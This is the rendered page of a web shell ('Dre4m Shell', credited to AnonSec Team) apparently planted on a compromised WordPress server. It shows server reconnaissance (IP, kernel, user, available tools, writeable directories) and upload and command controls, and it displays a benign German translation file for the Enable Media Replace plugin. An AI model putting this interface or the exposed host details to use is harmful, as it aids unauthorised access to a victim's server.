Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.140.188.195
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/plugins/enable-media-replace-de_DE.po
# Translation of Plugins - Enable Media Replace - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - Enable Media Replace - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-09-26 08:06:20+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.11\n"
"Language: de\n"
"Project-Id-Version: Plugins - Enable Media Replace - Stable (latest release)\n"

#: classes/ViewController.php:105
msgid "This error is shown because you try to move the image to another folder, which already has this file"
msgstr "Dieser Fehler tritt auf, da du versuchst, die Datei in einen Ordner zu verschieben, der sie bereits enthält."

#: classes/ViewController.php:123
msgid "Path: %s is not within basedir reported as: %s"
msgstr "Pfad: %s ist nicht innerhalb von basedir angegeben als: %s"

#: views/success.php:26
msgid "( %s ) or %s click here to continue %s"
msgstr "( %s ) oder %s hier klicken, um fortzufahren %s"

#: views/success.php:25
msgid "You will be redirect to the image screen in a few seconds."
msgstr "Du wirst in ein paar Sekunden zur Bildansicht weitergeleitet."

#: views/success.php:23
msgid "Try the %sShortPixel Image Optimizer%s plugin!"
msgstr "Probiere das Plugin %sShortPixel Image Optimizer%s aus!"

#: views/success.php:21
msgid "Did you know that you can also optimize the images on your website to make them load faster?"
msgstr "Wusstest du, dass du auch die Bilder auf deiner Website optimieren kannst, damit sie schneller laden?"

#: views/success.php:19
msgid "Your image has been successfully replaced!"
msgstr "Dein Bild wurde erfolgreich ersetzt!"

#: views/success.php:17
msgid "Your image has been replaced!"
msgstr "Dein Bild wurde ersetzt!"

#: views/screen.php:231
msgid "File is offloaded and can't be moved to other directory"
msgstr "Die Datei ist ausgelagert und kann nicht in ein anderes Verzeichnis verschoben werden"

#: views/screen.php:172
msgid "Options"
msgstr "Optionen"

#: views/screen.php:68
msgid "\t\t\tYou are about to replace %s in your media library. This will be %spermanent%s. %s You can click on the new image panel and select a file from your computer. You can also drag and drop a file into this window"
msgstr "\t\t\tDu bist dabei, %s in deiner Mediathek zu ersetzen. Dies wird %spermanent%s sein. %s Du kannst auf das Feld für das neue Bild klicken und eine Datei von deinem Computer auswählen. Du kannst eine Datei auch per Drag-and-drop in dieses Fenster ziehen"

#: views/screen.php:41
msgid "Drop File"
msgstr "Datei ablegen"

#: views/prepare-remove-background.php:71
msgid "Replace this image with another one instead!"
msgstr "Ersetze dieses Bild durch ein anderes!"

#: views/error.php:30
msgid "If you need help, please see the plugin %sdocumentation%s. It contains clear solutions to most of the problems you may encounter when using our plugin."
msgstr "Wenn du Hilfe brauchst, sieh dir bitte die %sDokumentation%s des Plugins an. Sie enthält einfache Lösungen für die meisten Probleme, auf die du bei der Verwendung unseres Plugins stoßen könntest."

#: views/error.php:26
msgid "You can return to %s previous page %s"
msgstr "Du kannst zur %s vorherigen Seite %s zurückkehren"

#: views/error.php:18
msgid "An error occured"
msgstr "Ein Fehler ist aufgetreten"

#: classes/ViewController.php:141
msgid "An unknown error has occured"
msgstr "Ein unbekannter Fehler ist aufgetreten"

#: classes/ViewController.php:137
msgid "Replacement Image could not be downloaded or does not exist"
msgstr "Das Ersatzbild konnte nicht heruntergeladen werden oder existiert nicht"

#: classes/ViewController.php:132
msgid "This can happen when the window is open for a long time and/or there has been a timeout.  You can go back to previous screen and try again. If this happens each time when replacing, contact us"
msgstr "Das kann passieren, wenn das Fenster lange geöffnet ist und/oder eine Zeitüberschreitung aufgetreten ist. Du kannst zum vorherigen Bildschirm zurückgehen und es erneut versuchen. Wenn dies jedes Mal beim Ersetzen passiert, kontaktiere uns"

#: classes/ViewController.php:131
msgid "Fail to validate form nonce. Please try again"
msgstr "Die Validierung der Formular-Nonce ist fehlgeschlagen. Bitte erneut versuchen"

#: classes/ViewController.php:114
msgid "Error updating WordPress post in the database"
msgstr "Fehler beim Aktualisieren des WordPress-Beitrags in der Datenbank"

#: classes/ViewController.php:111
msgid "Copying replacement file to destination failed"
msgstr "Kopieren der Ersatzdatei zum Ziel fehlgeschlagen"

#: classes/ViewController.php:108
msgid "Something went wrong while writing the file or directory"
msgstr "Beim Schreiben der Datei oder des Verzeichnisses ist etwas schief gelaufen"

#: classes/ViewController.php:104
msgid "The target file already exists in this directory. Please try another name / directory"
msgstr "Die Zieldatei existiert bereits in diesem Verzeichnis. Bitte wähle einen anderen Namen oder ein anderes Verzeichnis"

#: classes/ViewController.php:101
msgid "The upload from your browser seem to have failed"
msgstr "Der Upload in deinem Browser ist offenbar fehlgeschlagen"

#: classes/ViewController.php:98
msgid "The file upload has been rejected for security reason. WordPress might not allow uploading this extension or filetype"
msgstr "Der Datei-Upload wurde aus Sicherheitsgründen abgelehnt. WordPress erlaubt das Hochladen dieser Erweiterung oder dieses Dateityps möglicherweise nicht"

#: classes/ViewController.php:95
msgid "Updating the WordPress attachment failed"
msgstr "Die Aktualisierung des WordPress-Anhangs ist fehlgeschlagen"

#: classes/ViewController.php:92
msgid "The custom time format submitted is invalid"
msgstr "Das angegebene individuelle Zeitformat ist ungültig"

#: classes/ViewController.php:89
msgid "The form submitted is missing various fields"
msgstr "Im eingereichten Formular fehlen verschiedene Felder"

#: classes/ViewController.php:86
msgid "You don't have permission to edit this image"
msgstr "Du hast nicht die Berechtigung, dieses Bild zu bearbeiten"

#: classes/ViewController.php:83
msgid "You don't have permission to upload images. Please refer to your administrator"
msgstr "Du hast nicht die Berechtigung, Bilder hochzuladen. Bitte wenden dich an deinen Adminstrator"

#: classes/uihelper.php:426
msgid "Current"
msgstr "Aktuell"

#: classes/uihelper.php:421
msgid "Click here to upload or drop file in area"
msgstr "Hier klicken zum Hochladen oder ziehe die Datei in den Bereich"

#: classes/uihelper.php:418
msgid "New"
msgstr "Neu"

#: classes/external/wp-offload.php:49 classes/external/wp-offload.php:59
msgid "Your S3-Offload plugin version doesn't seem to be compatible. Please upgrade the S3-Offload plugin"
msgstr "Die Version deines S3-Offload-Plugins ist nicht kompatibel. Bitte führe ein Plugin-Upgrade durch."

#: classes/api.php:75
msgid "No permission for user"
msgstr "Keine Berechtigung für diesen Benutzer"

#: views/prepare-remove-background.php:121
msgid "Replace"
msgstr "Ersetzen"

#: classes/uihelper.php:426 views/prepare-remove-background.php:120
msgid "Preview"
msgstr "Vorschau"

#: views/prepare-remove-background.php:108
msgid "Opacity:"
msgstr "Opazität:"

#: views/prepare-remove-background.php:98
msgid "Background Color:"
msgstr "Hintergrundfarbe:"

#: views/prepare-remove-background.php:94
msgid "If you select this option, the image will have a solid color background and you can choose the color code from the color picker below."
msgstr "Mit dieser Option enrhält das Bild einen einfarbigen Hintergrund. Du kannst die gewünschte Farbe per Farbpicker auswählen."

#: views/prepare-remove-background.php:91
msgid "Solid background"
msgstr "Einfarbiger Hintergrund"

#: views/prepare-remove-background.php:85
msgid "Returns a transparent background if it is a PNG image, or a white one if it is a JPG image."
msgstr "Erstellt bei PNG-Dateien einen transparenten Hintergrund und bei JPGs einen weißen."

#: views/prepare-remove-background.php:82
msgid "Transparent/white background"
msgstr "Transparenter/weißer Hintergrund"

#: views/prepare-remove-background.php:78
msgid "If a CDN is used, remember to clear the cache for this image!"
msgstr "Bei Verwendung eines CDN denke daran, den Cache für dieses Bild zu leeren!"

#: views/prepare-remove-background.php:75
msgid "Background Removal Options"
msgstr "Optionen beim Entfernen des Hintergrunds"

#: views/prepare-remove-background.php:64
msgid "Report bad background removal"
msgstr "Fehlerhafte Hintergrund-Entfernung melden"

#: views/prepare-remove-background.php:56
msgid "Remove Media Background"
msgstr "Hintergrund entfernen"

#: views/prepare-remove-background.php:33
msgid "Hello! %s This is a report of a background removal that did not go well %s Url: {url} %s Settings : {settings} %s Thank you! %s"
msgstr "Hallo! %s Dies ist ein Bericht über eine Hintergrundentfernung, die nicht gut gelaufen ist %s Url: {url} %s Einstellungen: {settings} %s Danke! %s"

#: views/prepare-remove-background.php:32
msgid "Bad remove of background report"
msgstr "Bericht über eine fehlerhafte Hintergrund-Entfernung"

#: views/screen.php:226
msgid "Place the newly uploaded file in this folder: "
msgstr "Lege die neu hochgeladene Datei in diesen Ordner:"

#: views/screen.php:146
msgid "Note: This option requires you to upload a file of the same type (%s) as the file you want to replace. The attachment name will remain the same (%s) regardless of what the file you upload is called. If a CDN is used, remember to clear the cache for this image!"
msgstr "Hinweis: Diese Option setzt voraus, dass du eine Datei desselben Typs (%s) hochlädst wie die Datei, die du ersetzen willst. Der Name des Anhangs bleibt gleich (%s), unabhängig davon, wie die Datei heißt, die du hochlädst. Wenn ein CDN verwendet wird, denke daran, den Cache für dieses Bild zu löschen!"

#: views/screen.php:124
msgid "Remove the background after replacing this image!"
msgstr "Entferne den Hintergrund nach dem Ersetzen des Bildes!"

#: views/screen.php:120
msgid "New! Click here to remove the background of this image!"
msgstr "Neu! Klicke hier, um den Hintergrund dieses Bildes zu entfernen!"

#: views/screen.php:76
msgid "The replacement file does not have the same file type. This can lead to unexpected issues ( %s )"
msgstr "Die neue Datei ist nicht vom selben Dateityp. Dies kann zu unerwarteten Problemen führen ( %s)"

#: views/screen.php:59
msgid "Select Replacement Media"
msgstr "Neue Datei auswählen"

#: views/do-replace-background.php:56
msgid "Temp file does not exist"
msgstr "Temporäre Datei existiert nicht"

#: views/do-replace-background.php:16
msgid "Error while sending form (no key). Please try again."
msgstr "Fehler beim Absenden des Formulars (fehlender Schlüssel). Bitte versuche es noch einmal."

#: classes/uihelper.php:516
msgid "%s New Beta Feature! %s %s Enable Media Replace now gives you the ability to remove the background of any image. Try it out in the Media Library: hover over an image and click on Remove Background. Or just click on Remove background from the image editing window! %s  "
msgstr "%s Neue Beta-Funktion! %s %s Mit Enable Media Replace kannst du jetzt den Hintergrund eines jeden Bilds entfernen. Probiere es in der Mediathek aus: Bewege den Mauszeiger über ein Bild und klicke auf Hintergrund entfernen. Oder klicke einfach im Bildbearbeitungsfenster auf Hintergrund entfernen! %s"

#: classes/uihelper.php:465
msgid "Removing background..."
msgstr "Hintergrund wird entfernt …"

#: classes/ViewController.php:117
msgid "Specificed directory is outside the upload directory. This is not allowed for security reasons"
msgstr "Das angegebene Verzeichnis befindet sich außerhalb des Upload-Verzeichnisses. Dies ist aus Sicherheitsgründen nicht erlaubt."

#: classes/emr-plugin.php:580
msgid "Remove  background"
msgstr "Hintergrund entfernen"

#: classes/emr-plugin.php:534
msgid "To remove the background, click the link."
msgstr "Um den Hintergrund zu entfernen, klicke den Link."

#: classes/emr-plugin.php:464
msgid "To remove the background, click the link and select the options."
msgstr "Um den Hintergrund zu entfernen, klicke den Link und wähle die Optionen."

#: classes/emr-plugin.php:171 classes/emr-plugin.php:464
#: classes/emr-plugin.php:532 classes/emr-plugin.php:534
msgid "Remove background"
msgstr "Hintergrund entfernen"

#: classes/api.php:228
msgid "Download failed"
msgstr "Download fehlgeschlagen"

#: classes/api.php:217
msgid "This file seems not available anymore. Please try again"
msgstr "Die Datei scheint nicht mehr verfügbar zu sein. Bitte versuche es noch einmal."

#: classes/api.php:193
msgid "The background could not be removed in a reasonable amount of time. The file might be too big, or the API could be busy. Please try again later!"
msgstr "Der Hintergrund konnte nicht innerhalb einer vernünftigen Zeitspanne entfernt werden. Eventuell ist die Datei zu groß oder die API ist beschäftigt. Bitte versuche es später noch einmal!"

#: classes/api.php:68
msgid "No attachment ID given"
msgstr "Keine Anhangs-ID angegeben"

#: build/shortpixel/notices/src/NoticeModel.php:290
msgid "Dismiss this notice"
msgstr "Diesen Hinweis ausblenden"

#: views/upsell.php:146
msgid "Get Pro"
msgstr "Zur Pro-Version"

#: views/upsell.php:139
msgid "Envira Gallery activated!"
msgstr "Envira Gallery aktiviert!"

#: views/upsell.php:137
msgid "Activate"
msgstr "Aktivieren"

#: views/upsell.php:135
msgid "Install now"
msgstr "Jetzt installieren"

#: views/upsell.php:126
msgid "Create beautiful, fast-loading photo & video galleries for your site in minutes."
msgstr "Erstelle innerhalb von Minuten hübsche, schnell-ladende Foto- und Videogalerien für deine Website."

#: views/upsell.php:94
msgid "Shortpixel Adaptive Images activated!"
msgstr "Shortpixel Adaptive Images aktiviert!"

#: views/upsell.php:80
msgid "In Minutes"
msgstr "In Minuten"

#: views/upsell.php:79
msgid "Start Serving %s Optimized, %s Nextgen images %s From a global CDN"
msgstr "Beginne damit, %s optimierte, %s Nextgen-Bilder %s von einem globalen CDN auszuliefern"

#: views/upsell.php:75
msgid "ShortPixel Adaptive Images"
msgstr "ShortPixel Adaptive Images"

#: views/upsell.php:60
msgid "Shortpixel activated!"
msgstr "Shortpixel aktiviert!"

#: views/upsell.php:57 views/upsell.php:91
msgid "ACTIVATE"
msgstr "AKTIVIEREN"

#: views/upsell.php:53 views/upsell.php:87
msgid "INSTALL NOW"
msgstr "JETZT INSTALLIEREN"

#: views/upsell.php:46
msgid "Optimize all images %s automatically"
msgstr "Alle Bilder %s automatisch optimieren"

#: views/upsell.php:44
msgid "Is your website slow?"
msgstr "Ist deine Website langsam?"

#: views/upsell.php:42
msgid "ShortPixel Image Optimizer"
msgstr "ShortPixel Image Optimizer"

#: views/do-replace-background.php:21
msgid "Error in request. Please try again"
msgstr "Fehler in der Anfrage! Bitte versuche es erneut"

#: views/screen.php:206
msgid "Now"
msgstr "Jetzt"

#: views/screen.php:190
msgid "Replace the date with the current date %s(%s)%s"
msgstr "Datum durch aktuelles Datum ersetzen %s(%s)%s"

#: views/screen.php:149
msgid "If you replace the file with a different filetype, this file might become unreadable and / or cause unexpected issues"
msgstr "Wenn du die Datei durch einen anderen Dateityp ersetzt, könnte die Datei nicht mehr lesbar sein und/oder es können unerwartete Probleme auftreten"

#: classes/ViewController/ReplaceViewController.php:38
#: views/do-replace-background.php:27
msgid "You do not have permission to upload files for this author."
msgstr "Du hast keine Berechtigung, Dateien für diesen Benutzer hochzuladen."

#: classes/external/upgrader_skin.php:81
msgid "There was an error installing the addon. Please try again."
msgstr "Bei der Installation des Add-ons ist ein Fehler aufgetreten. Bitte versuche es noch einmal."

#: classes/emr-plugin.php:316
msgid "Installing ..."
msgstr "Installiere …"

#: views/screen.php:163
msgid "Note: If you enable this option, the name and type of the file you are uploading will replace the old file. All links pointing to the current file (%s) will be updated to point to the new file name. (If other websites link directly to the file, those links will no longer work. Be careful!)"
msgstr "Hinweis: Wenn du diese Option wählst, werden der Name und der Typ der Datei, die du hochladen möchtest, die alte Datei ersetzen. Alle Verlinkungen zur aktuellen Datei (%s) werden durch den neuen Dateinamen ersetzt. (Wenn andere Websites zur alten Datei verweisen, werden diese Links nicht mehr funktionieren. Sei vorsichtig.)"

#: build/shortpixel/notices/src/NoticeModel.php:281
msgid "Hide Details"
msgstr "Details verbergen"

#: build/shortpixel/notices/src/NoticeModel.php:277
msgid "See Details"
msgstr "Details anzeigen"

#: classes/emr-plugin.php:620
msgid "Replaced By"
msgstr "Ersetzt durch"

#: classes/ViewController.php:127
msgid "Specificed new directory does not exist. Path must be a relative path from the upload directory and exist"
msgstr "Das neue Verzeichnis existiert nicht. Der Pfad muss existieren und ein relativer Pfad aus dem Upload-Verzeichnis sein"

#: views/screen.php:196
msgid "Custom Date"
msgstr "Eigenes Datum"

#: views/screen.php:192
msgid "Set a Custom Date"
msgstr "eigenes Datum setzen"

#: views/screen.php:191
msgid "Keep the date %s(%s)%s"
msgstr "Datum beibehalten %s(%s)%s"

#: views/screen.php:188
msgid "When replacing the media, do you want to:"
msgstr "Beim Ersetzen des Bildes soll das Datum wie folgt geändert werden:"

#: views/screen.php:131
msgid "Replacement Options"
msgstr "Ersetzungsoptionen"

#: views/screen.php:80
msgid "The replacement file type does not seem to be allowed by WordPress. This can lead to unexpected issues"
msgstr "Der Dateityp zum Ersetzen scheint von WordPress nicht erlaubt zu sein. Dies könnte zu unerwarteten Problemen führen."

#: views/screen.php:73
msgid "%s f %s exceeds the maximum upload size for this site."
msgstr "%s f %s überschreitet die maximal zulässige Upload-Größe für diese Website."

#: views/screen.php:72
msgid "Maximum file size: <strong>%s</strong>"
msgstr "Maximale Dateigröße: <strong>%s</strong>"

#: views/do-replace-background.php:85
msgid "File successfully replaced"
msgstr "Datei erfolgreich ersetzt"

#: build/shortpixel/log/src/DebugItem.php:35
msgid "[Data]"
msgstr "[Daten]"

#: views/prepare-remove-background.php:122 views/screen.php:243
msgid "Cancel"
msgstr "Abbrechen"

#: views/screen.php:242
msgid "Upload"
msgstr "Hochladen"

#: views/screen.php:165
msgid "Please note that if you upload a new image, only the embeds/links of the original size image will be replaced in your posts."
msgstr "Bitte beachte: wenn du ein neues Bild hochlädst, werden nur Einbettungen/Links auf die Datei in Originalgröße in deinen Beiträgen ersetzt."

#: views/screen.php:160
msgid "Replace the file, use the new file name, and update all links"
msgstr "Datei ersetzen, aber neuen Dateinamen verwenden und alle Links automatisch aktualisieren."

#: views/screen.php:142
msgid "Just replace the file"
msgstr "Originaldatei ersetzen"

#: views/screen.php:62
msgid "NOTE: You are about to replace the media file \"%s\". There is no undo. Think about it!"
msgstr "ACHTUNG: Du bist dabei, die Datei „%s“ zu ersetzen. Dies lässt sich nicht rückgängig machen. Denke gut darüber nach!"

#: views/screen.php:43
msgid "Replace Media Upload"
msgstr "Medien-Datei ersetzen"

#: classes/emr-plugin.php:609
msgid "Revised"
msgstr "Zuletzt geändert"

#: classes/emr-plugin.php:606
msgid "M j, Y @ H:i"
msgstr "j. M Y \\u\\m G:i \\U\\h\\r"

#: classes/emr-plugin.php:489 views/screen.php:208
msgid "Original"
msgstr "Original"

#: classes/emr-plugin.php:479
msgid "Thumbnails were not generated"
msgstr "Es wurden keine Vorschaubilder generiert"

#: classes/emr-plugin.php:453 classes/emr-plugin.php:524
msgid "To replace the current file, click the link and upload a replacement file."
msgstr "Um die aktuelle Datei zu ersetzen, klicke den Link und lade die neue Datei hoch."

#: classes/emr-plugin.php:453 classes/emr-plugin.php:524
msgid "Upload a new file"
msgstr "Eine neue Datei hochladen"

#: classes/emr-plugin.php:170 classes/emr-plugin.php:522
#: classes/emr-plugin.php:576
msgid "Replace media"
msgstr "Datei ersetzen"

#: classes/emr-plugin.php:438
msgid "Replaced Thumbnails Preview"
msgstr "Vorschau für ersetzte Vorschaubilder"

#: classes/emr-plugin.php:435
msgid "Replace Media"
msgstr "Datei ersetzen"

#: build/shortpixel/replacer/src/Replacer.php:174
msgid "There was an issue with updating your image URLS: Search and replace have different amount of values. Aborting updating thumbnails"
msgstr "Es gab ein Problem mit der Aktualisierung der Bild-URLs: „Suchen und Ersetzen“ hat eine unterschiedliche Anzahl an Werten ergeben. Abbruch der Aktualisierung der Vorschaubilder."

#: build/shortpixel/replacer/src/Replacer.php:97
msgid "Fail Safe :: Source Location returned empty string. Not replacing content"
msgstr "Fehler beim Speichern :: Die Quelle gab eine leere Zeichenfolge zurück. Der Inhalt wird nicht ersetzt."

#: build/shortpixel/replacer/src/Replacer.php:90
msgid "Fail Safe :: Source Location seems to be a directory."
msgstr "Fehler beim Speichern :: Die Quelle scheint ein Verzeichnis zu sein."

#: views/screen.php:28
msgid "You do not have permission to upload files."
msgstr "Du hast nicht die benötigten Rechte, um Dateien hochzuladen."

#. Author URI of the plugin
msgid "https://shortpixel.com"
msgstr "https://shortpixel.com"

#. Author of the plugin
msgid "ShortPixel"
msgstr "ShortPixel"

#. Description of the plugin
msgid "Enable replacing media files by uploading a new file in the \"Edit Media\" section of the WordPress Media Library."
msgstr "Ermöglicht das Ersetzen von Medien-Dateien durch das Hochladen einer neuen Datei in den „Dateianhang-Details“ der WordPress-Mediathek."

#. Plugin URI of the plugin
msgid "https://wordpress.org/plugins/enable-media-replace/"
msgstr "https://wordpress.org/plugins/enable-media-replace/"

#. Plugin Name of the plugin
#: views/error.php:15 views/success.php:15
msgid "Enable Media Replace"
msgstr "Enable Media Replace"

Anon7 - 2022
AnonSec Team